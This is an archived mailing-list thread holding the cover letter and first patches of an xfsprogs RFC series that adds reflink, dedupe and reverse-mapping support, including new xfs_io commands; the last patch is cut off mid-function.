-0700 (PDT) X-ASG-Debug-ID: 1444194317-04cb6c57850d850001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id fcr6jVGJrc3ZhXxl (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:05:17 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9755Gs3018665 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:05:16 GMT Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235]) by userv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t9755FO0030481 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:05:16 GMT Received: from abhmp0001.oracle.com (abhmp0001.oracle.com [141.146.116.7]) by aserv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t9755F0K006438; Wed, 7 Oct 2015 05:05:15 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:05:15 -0700 Subject: [RFCv3 00/51] xfsprogs: add reverse-mapping, reflink, and dedupe support From: "Darrick J. Wong" X-ASG-Orig-Subj: [RFCv3 00/51] xfsprogs: add reverse-mapping, reflink, and dedupe support To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:05:14 -0700 Message-ID: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0022.oracle.com [156.151.31.74] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444194317 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Hi all, This is the third revision of an RFC for adding to xfsprogs support for tracking reverse-mappings of physical blocks to file and metadata; and support for mapping multiple file logical blocks to the same physical block, more commonly known as reflinking. Given the significant amount of re-engineering required to make the initial rmap implementation compatible with reflink, I decided to publish both features as an integrated patchset off of upstream. This means that rmap and reflink are now compatible with each other. The patch set is based on the current (4.2.0+) for-next branch. This code should be relatively bug-free, and the bulk of the patches are to teach xfs_repair how to record all mappings and to use that data both to regenerate the reference count data (refcntbt) and the reverse mapping index (rmapbt). There are way too many patches to discuss them individually, but roughly speaking they're grouped by functional area: 0. Cleanups 1. Implement reflink and dedupe in xfs_io 2. Spot-check and fuzz v5 filesystems in xfs_db (otherwise the test/scratch fs checks in xfstests get unhappy) 3. rmapbt support 4. rmapbt rebuilding in xfs_repair 5. refcntbt support 6. refcntbt rebuilding in xfs_repair Issues: * I'm not 100% sure xfs_repair correctly handles rebuilding all the XFS_RMAP_OWN_AG rmap entries (which are the bnobt, cntbt, rmapbt, and the AGFL). * General shakiness of the code that spots errors in the rmapbt and refcntbt. Given that we're either readonly or rebuilding them anyway, I wonder if it matters... * Under certain circumstances, mkfs underestimates the minimum log size and the kernel refuses to mount. The last patch in the set hacks around this in an ugly way. If you're going to start using this mess, you probably ought to just pull from my github trees for kernel[1], xfsprogs[2], and xfstests[3]. This is an extraordinary way to eat your data. Enjoy! Comments and questions are, as always, welcome. --D [1] https://github.com/djwong/linux-xfs-dev/commits/master [2] https://github.com/djwong/xfsprogs/commits/for-next [3] https://github.com/djwong/xfstests/commits/master From darrick.wong@oracle.com Wed Oct 7 00:05:26 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7CAB329E4E for ; Wed, 7 Oct 2015 00:05:26 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5C73C304039 for ; Tue, 6 Oct 2015 22:05:26 -0700 (PDT) X-ASG-Debug-ID: 1444194324-04cbb03f130d930001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id KEhuBLIubf1NdDIB (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:05:24 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from aserv0021.oracle.com (aserv0021.oracle.com [141.146.126.233]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9755Mrc018707 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:05:23 GMT Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75]) by aserv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t9755MsG024015 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:05:22 GMT Received: from abhmp0010.oracle.com (abhmp0010.oracle.com [141.146.116.16]) by userv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t9755M9B024412; Wed, 7 Oct 2015 05:05:22 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:05:21 -0700 Subject: [PATCH 01/51] libxcmd: provide a common function to report command runtimes From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 01/51] libxcmd: provide a common function to report command runtimes To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:05:20 -0700 Message-ID: <20151007050520.1504.59073.stgit@birch.djwong.org> In-Reply-To: <20151007050513.1504.28089.stgit@birch.djwong.org> References: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0021.oracle.com [141.146.126.233] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444194324 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Refactor the open-coded runtime stats reporting into a library command, then update xfs_io commands to use it. Signed-off-by: Darrick J. Wong --- include/command.h | 6 ++++++ io/pread.c | 16 +--------------- io/pwrite.c | 16 +--------------- io/sendfile.c | 16 +--------------- libxcmd/command.c | 26 ++++++++++++++++++++++++++ 5 files changed, 35 insertions(+), 45 deletions(-) diff --git a/include/command.h b/include/command.h index 4869edf..51dae6a 100644 --- a/include/command.h +++ b/include/command.h @@ -18,6 +18,8 @@ #ifndef __COMMAND_H__ #define __COMMAND_H__ +#include + #define CMD_FLAG_GLOBAL ((int)0x80000000) /* don't iterate "args" */ typedef int (*cfunc_t)(int argc, char **argv); @@ -56,4 +58,8 @@ extern void command_loop(void); extern int command_usage(const cmdinfo_t *ci); extern int command(const cmdinfo_t *ci, int argc, char **argv); +extern void report_io_times(struct timeval *t2, long long offset, + long long count, long long total, + int ops, int condensed); + #endif /* __COMMAND_H__ */ diff --git a/io/pread.c b/io/pread.c index 1c77c41..66ea945 100644 --- a/io/pread.c +++ b/io/pread.c @@ -379,7 +379,6 @@ pread_f( long long count, total, tmp; size_t fsblocksize, fssectsize; struct timeval t1, t2; - char s1[64], s2[64], ts[64]; char *sp; int Cflag, qflag, uflag, vflag; int eof = 0, direction = IO_FORWARD; @@ -488,20 +487,7 @@ pread_f( gettimeofday(&t2, NULL); t2 = tsub(t2, t1); - /* Finally, report back -- -C gives a parsable format */ - timestr(&t2, ts, sizeof(ts), Cflag ? VERBOSE_FIXED_TIME : 0); - if (!Cflag) { - cvtstr((double)total, s1, sizeof(s1)); - cvtstr(tdiv((double)total, t2), s2, sizeof(s2)); - printf(_("read %lld/%lld bytes at offset %lld\n"), - total, count, (long long)offset); - printf(_("%s, %d ops; %s (%s/sec and %.4f ops/sec)\n"), - s1, c, ts, s2, tdiv((double)c, t2)); - } else {/* bytes,ops,time,bytes/sec,ops/sec */ - printf("%lld,%d,%s,%.3f,%.3f\n", - total, c, ts, - tdiv((double)total, t2), tdiv((double)c, t2)); - } + report_io_times(&t2, (long long)offset, count, total, c, Cflag); return 0; } diff --git a/io/pwrite.c b/io/pwrite.c index 10f78e4..81f6abe 100644 --- a/io/pwrite.c +++ b/io/pwrite.c @@ -250,7 +250,6 @@ pwrite_f( unsigned int zeed = 0, seed = 0xcdcdcdcd; size_t fsblocksize, fssectsize; struct timeval t1, t2; - char s1[64], s2[64], ts[64]; char *sp, *infile = NULL; int Cflag, qflag, uflag, dflag, wflag, Wflag; int direction = IO_FORWARD; @@ -385,20 +384,7 @@ pwrite_f( gettimeofday(&t2, NULL); t2 = tsub(t2, t1); - /* Finally, report back -- -C gives a parsable format */ - timestr(&t2, ts, sizeof(ts), Cflag ? VERBOSE_FIXED_TIME : 0); - if (!Cflag) { - cvtstr((double)total, s1, sizeof(s1)); - cvtstr(tdiv((double)total, t2), s2, sizeof(s2)); - printf(_("wrote %lld/%lld bytes at offset %lld\n"), - total, count, (long long)offset); - printf(_("%s, %d ops; %s (%s/sec and %.4f ops/sec)\n"), - s1, c, ts, s2, tdiv((double)c, t2)); - } else {/* bytes,ops,time,bytes/sec,ops/sec */ - printf("%lld,%d,%s,%.3f,%.3f\n", - total, c, ts, - tdiv((double)total, t2), tdiv((double)c, t2)); - } + report_io_times(&t2, (long long)offset, count, total, c, Cflag); done: if (infile) close(fd); diff --git a/io/sendfile.c b/io/sendfile.c index 5c1638f..ced6369 100644 --- a/io/sendfile.c +++ b/io/sendfile.c @@ -81,7 +81,6 @@ sendfile_f( long long count, total; size_t blocksize, sectsize; struct timeval t1, t2; - char s1[64], s2[64], ts[64]; char *infile = NULL; int Cflag, qflag; int c, fd = -1; @@ -152,20 +151,7 @@ sendfile_f( gettimeofday(&t2, NULL); t2 = tsub(t2, t1); - /* Finally, report back -- -C gives a parsable format */ - timestr(&t2, ts, sizeof(ts), Cflag ? VERBOSE_FIXED_TIME : 0); - if (!Cflag) { - cvtstr((double)total, s1, sizeof(s1)); - cvtstr(tdiv((double)total, t2), s2, sizeof(s2)); - printf(_("sent %lld/%lld bytes from offset %lld\n"), - total, count, (long long)offset); - printf(_("%s, %d ops; %s (%s/sec and %.4f ops/sec)\n"), - s1, c, ts, s2, tdiv((double)c, t2)); - } else {/* bytes,ops,time,bytes/sec,ops/sec */ - printf("%lld,%d,%s,%.3f,%.3f\n", - total, c, ts, - tdiv((double)total, t2), tdiv((double)c, t2)); - } + report_io_times(&t2, (long long)offset, count, total, c, Cflag); done: if (infile) close(fd); diff --git a/libxcmd/command.c b/libxcmd/command.c index 42a77e9..5a5bb01 100644 --- a/libxcmd/command.c +++ b/libxcmd/command.c @@ -192,3 +192,29 @@ command_loop(void) doneline(input, v); } } + +void +report_io_times( + struct timeval *t2, + long long offset, + long long count, + long long total, + int ops, + int condensed) +{ + char s1[64], s2[64], ts[64]; + + timestr(t2, ts, sizeof(ts), condensed ? VERBOSE_FIXED_TIME : 0); + if (!condensed) { + cvtstr((double)total, s1, sizeof(s1)); + cvtstr(tdiv((double)total, *t2), s2, sizeof(s2)); + printf(_("linked %lld/%lld bytes at offset %lld\n"), + total, count, (long long)offset); + printf(_("%s, %d ops; %s (%s/sec and %.4f ops/sec)\n"), + s1, ops, ts, s2, tdiv((double)ops, *t2)); + } else {/* bytes,ops,time,bytes/sec,ops/sec */ + printf("%lld,%d,%s,%.3f,%.3f\n", + total, ops, ts, + tdiv((double)total, *t2), tdiv((double)ops, *t2)); + } +} From darrick.wong@oracle.com Wed Oct 7 00:05:32 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7A69829E59 for ; Wed, 7 Oct 2015 00:05:32 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4D180304039 for ; Tue, 6 Oct 2015 22:05:32 -0700 (PDT) X-ASG-Debug-ID: 1444194330-04bdf020dd0e840001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id OdUVVHUAA6BmT9jz (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:05:30 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from aserv0021.oracle.com (aserv0021.oracle.com [141.146.126.233]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9755TkW018749 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:05:29 GMT Received: from userv0121.oracle.com (userv0121.oracle.com [156.151.31.72]) by aserv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t9755SUh024436 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:05:29 GMT Received: from abhmp0013.oracle.com (abhmp0013.oracle.com [141.146.116.19]) by userv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t9755Spu021877; Wed, 7 Oct 2015 05:05:28 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:05:28 -0700 Subject: [PATCH 02/51] libxfs: add reflink and dedupe ioctls From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 02/51] libxfs: add reflink and dedupe ioctls To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:05:27 -0700 Message-ID: <20151007050527.1504.88163.stgit@birch.djwong.org> In-Reply-To: <20151007050513.1504.28089.stgit@birch.djwong.org> References: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0021.oracle.com [141.146.126.233] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444194330 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines This is a port of the reflink and dedupe ioctl definitions from the kernel. Signed-off-by: Darrick J. Wong --- libxfs/xfs_fs.h | 41 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 41 insertions(+) diff --git a/libxfs/xfs_fs.h b/libxfs/xfs_fs.h index 89689c6..8f7014f 100644 --- a/libxfs/xfs_fs.h +++ b/libxfs/xfs_fs.h @@ -559,6 +559,47 @@ typedef struct xfs_swapext #define XFS_IOC_GOINGDOWN _IOR ('X', 125, __uint32_t) /* XFS_IOC_GETFSUUID ---------- deprecated 140 */ +/* reflink ioctls; these MUST match the btrfs ioctl definitions */ +/* from struct btrfs_ioctl_clone_range_args */ +struct xfs_clone_args { + __s64 src_fd; + __u64 src_offset; + __u64 src_length; + __u64 dest_offset; +}; + +/* extent-same (dedupe) ioctls; these MUST match the btrfs ioctl definitions */ +#define XFS_EXTENT_DATA_SAME 0 +#define XFS_EXTENT_DATA_DIFFERS 1 + +/* from struct btrfs_ioctl_file_extent_same_info */ +struct xfs_extent_data_info { + __s64 fd; /* in - destination file */ + __u64 logical_offset; /* in - start of extent in destination */ + __u64 bytes_deduped; /* out - total # of bytes we were able + * to dedupe from this file */ + /* status of this dedupe operation: + * 0 if dedup succeeds + * < 0 for error + * == XFS_SAME_DATA_DIFFERS if data differs + */ + __s32 status; /* out - see above description */ + __u32 reserved; +}; + +/* from struct btrfs_ioctl_file_extent_same_args */ +struct xfs_extent_data { + __u64 logical_offset; /* in - start of extent in source */ + __u64 length; /* in - length of extent */ + __u16 dest_count; /* in - total elements in info array */ + __u16 reserved1; + __u32 reserved2; + struct xfs_extent_data_info info[0]; +}; + +#define XFS_IOC_CLONE _IOW (0x94, 9, int) +#define XFS_IOC_CLONE_RANGE _IOW (0x94, 13, struct xfs_clone_args) +#define XFS_IOC_FILE_EXTENT_SAME _IOWR(0x94, 54, struct xfs_extent_data) #ifndef HAVE_BBMACROS /* From darrick.wong@oracle.com Wed Oct 7 00:05:39 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6D24229E59 for ; Wed, 7 Oct 2015 00:05:39 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4D6B6304039 for ; Tue, 6 Oct 2015 22:05:39 -0700 (PDT) X-ASG-Debug-ID: 1444194335-04cbb03f130d940001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id ELnVxqKQCTq33cLH (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:05:36 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from aserv0021.oracle.com (aserv0021.oracle.com [141.146.126.233]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9755ZIS014054 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:05:35 GMT Received: from aserv0122.oracle.com (aserv0122.oracle.com [141.146.126.236]) by aserv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t9755Yr7024848 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:05:35 GMT Received: from abhmp0001.oracle.com (abhmp0001.oracle.com [141.146.116.7]) by aserv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t9755YxB009296; Wed, 7 Oct 2015 05:05:34 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:05:34 -0700 Subject: [PATCH 03/51] xfs_io: support reflink and dedupe of file ranges From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 03/51] xfs_io: support reflink and dedupe of file ranges To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:05:33 -0700 Message-ID: <20151007050533.1504.66249.stgit@birch.djwong.org> In-Reply-To: <20151007050513.1504.28089.stgit@birch.djwong.org> References: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0021.oracle.com [141.146.126.233] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444194335 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.50 X-Barracuda-Spam-Status: No, SCORE=0.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0713, UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines 0.50 BSF_SC0_MV0713 Custom rule MV0713 Wire up xfs_io to use the XFS clone-range ioctl to make files share data blocks; or the XFS extent-same ioctl to deduplicate file blocks. Signed-off-by: Darrick J. Wong --- io/Makefile | 2 io/init.c | 1 io/io.h | 2 io/reflink.c | 323 +++++++++++++++++++++++++++++++++++++++++++++++++++++ man/man8/xfs_io.8 | 59 ++++++++++ 5 files changed, 386 insertions(+), 1 deletion(-) create mode 100644 io/reflink.c diff --git a/io/Makefile b/io/Makefile index a08a782..513f8c9 100644 --- a/io/Makefile +++ b/io/Makefile @@ -11,7 +11,7 @@ HFILES = init.h io.h CFILES = init.c \ attr.c bmap.c file.c freeze.c fsync.c getrusage.c imap.c link.c \ mmap.c open.c parent.c pread.c prealloc.c pwrite.c seek.c shutdown.c \ - sync.c truncate.c + sync.c truncate.c reflink.c LLDLIBS = $(LIBXCMD) $(LIBHANDLE) LTDEPENDENCIES = $(LIBXCMD) $(LIBHANDLE) diff --git a/io/init.c b/io/init.c index 13f35c4..51f1f5c 100644 --- a/io/init.c +++ b/io/init.c @@ -83,6 +83,7 @@ init_commands(void) sync_init(); sync_range_init(); truncate_init(); + reflink_init(); } static int diff --git a/io/io.h b/io/io.h index b115e4a..172b1f8 100644 --- a/io/io.h +++ b/io/io.h @@ -161,3 +161,5 @@ extern void readdir_init(void); #else #define readdir_init() do { } while (0) #endif + +extern void reflink_init(void); diff --git a/io/reflink.c b/io/reflink.c new file mode 100644 index 0000000..3572728 --- /dev/null +++ b/io/reflink.c @@ -0,0 +1,323 @@ +/* + * Copyright (c) 2015 Oracle, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#include +#include +#include "command.h" +#include "input.h" +#include "init.h" +#include "io.h" + +static cmdinfo_t dedupe_cmd; +static cmdinfo_t reflink_cmd; + +static void +dedupe_help(void) +{ + printf(_("\n\ + Links a range of bytes (in block size increments) from a file into a range\n\ + of bytes in the open file. The contents of both file ranges must match.\n\ +\n\ + Example:\n\ + 'dedupe some_file 0 4096 32768' - links 32768 bytes from some_file at\n\ + offset 0 to into the open file at\n\ + position 4096\n\ +\n\ + Reflink a range of blocks from a given input file to the open file. Both\n\ + files share the same range of physical disk blocks; a write to the shared\n\ + range of either file should result in the write landing in a new block and\n\ + that range of the file being remapped (i.e. copy-on-write). Both files\n\ + must reside on the same filesystem, and the contents of both ranges must\n\ + match.\n\ +")); +} + +static uint64_t +dedupe_ioctl( + int fd, + uint64_t soffset, + uint64_t doffset, + uint64_t len, + int *ops) +{ + struct xfs_extent_data *args; + struct xfs_extent_data_info *info; + int error; + uint64_t deduped = 0; + + args = calloc(1, sizeof(struct xfs_extent_data) + + sizeof(struct xfs_extent_data_info)); + if (!args) + goto done; + info = (struct xfs_extent_data_info *)(args + 1); + args->logical_offset = soffset; + args->length = len; + args->dest_count = 1; + info->fd = file->fd; + info->logical_offset = doffset; + + while (args->length > 0) { + error = ioctl(fd, XFS_IOC_FILE_EXTENT_SAME, args); + if (error) { + perror("XFS_IOC_FILE_EXTENT_SAME"); + goto done; + } + if (info->status < 0) { + printf("dedupe: %s\n", _(strerror(-info->status))); + goto done; + } + if (info->status == XFS_EXTENT_DATA_DIFFERS) { + printf(_("Extents did not match.\n")); + goto done; + } + if (info->bytes_deduped == 0 || + info->bytes_deduped > args->length) + break; + + (*ops)++; + args->logical_offset += info->bytes_deduped; + info->logical_offset += info->bytes_deduped; + args->length -= info->bytes_deduped; + deduped += info->bytes_deduped; + } +done: + free(args); + return deduped; +} + +static int +dedupe_f( + int argc, + char **argv) +{ + off64_t soffset, doffset; + long long count, total; + char *infile; + int condensed, quiet_flag; + size_t fsblocksize, fssectsize; + struct timeval t1, t2; + int c, ops = 0, fd = -1; + + condensed = quiet_flag = 0; + init_cvtnum(&fsblocksize, &fssectsize); + + while ((c = getopt(argc, argv, "Cq")) != EOF) { + switch (c) { + case 'C': + condensed = 1; + break; + case 'q': + quiet_flag = 1; + break; + default: + return command_usage(&dedupe_cmd); + } + } + if (optind != argc - 4) + return command_usage(&dedupe_cmd); + infile = argv[optind]; + optind++; + soffset = cvtnum(fsblocksize, fssectsize, argv[optind]); + if (soffset < 0) { + printf(_("non-numeric src offset argument -- %s\n"), argv[optind]); + return 0; + } + optind++; + doffset = cvtnum(fsblocksize, fssectsize, argv[optind]); + if (doffset < 0) { + printf(_("non-numeric dest offset argument -- %s\n"), argv[optind]); + return 0; + } + optind++; + count = cvtnum(fsblocksize, fssectsize, argv[optind]); + if (count < 1) { + printf(_("non-positive length argument -- %s\n"), argv[optind]); + return 0; + } + + fd = openfile(infile, NULL, IO_READONLY, 0); + if (fd < 0) + return 0; + + gettimeofday(&t1, NULL); + total = dedupe_ioctl(fd, soffset, doffset, count, &ops); + if (ops == 0 || quiet_flag) + goto done; + gettimeofday(&t2, NULL); + t2 = tsub(t2, t1); + + report_io_times(&t2, (long long)doffset, count, total, ops, condensed); +done: + close(fd); + return 0; +} + +static void +reflink_help(void) +{ + printf(_("\n\ + Links a range of bytes (in block size increments) from a file into a range\n\ + of bytes in the open file. The two extent ranges need not contain identical\n\ + data.\n\ +\n\ + Example:\n\ + 'reflink some_file 0 4096 32768' - links 32768 bytes from some_file at\n\ + offset 0 to into the open file at\n\ + position 4096\n\ + 'reflink some_file' - links all bytes from some_file into the open file\n\ + at position 0\n\ +\n\ + Reflink a range of blocks from a given input file to the open file. Both\n\ + files share the same range of physical disk blocks; a write to the shared\n\ + range of either file should result in the write landing in a new block and\n\ + that range of the file being remapped (i.e. copy-on-write). Both files\n\ + must reside on the same filesystem.\n\ +")); +} + +static uint64_t +reflink_ioctl( + int fd, + uint64_t soffset, + uint64_t doffset, + uint64_t len, + int *ops) +{ + struct xfs_clone_args args; + int error; + + if (len) { + args.src_fd = fd; + args.src_offset = soffset; + args.src_length = len; + args.dest_offset = doffset; + error = ioctl(file->fd, XFS_IOC_CLONE_RANGE, &args); + if (error) + perror("XFS_IOC_CLONE_RANGE"); + } else { + error = ioctl(file->fd, XFS_IOC_CLONE, fd); + if (error) + perror("XFS_IOC_CLONE"); + } + if (!error) + (*ops)++; + return error ? 0 : len; +} + +static int +reflink_f( + int argc, + char **argv) +{ + off64_t soffset, doffset; + long long count = 0, total; + char *infile = NULL; + int condensed, quiet_flag; + size_t fsblocksize, fssectsize; + struct timeval t1, t2; + int c, ops = 0, fd = -1; + + condensed = quiet_flag = 0; + doffset = soffset = 0; + init_cvtnum(&fsblocksize, &fssectsize); + + while ((c = getopt(argc, argv, "Cq")) != EOF) { + switch (c) { + case 'C': + condensed = 1; + break; + case 'q': + quiet_flag = 1; + break; + default: + return command_usage(&reflink_cmd); + } + } + if (optind != argc - 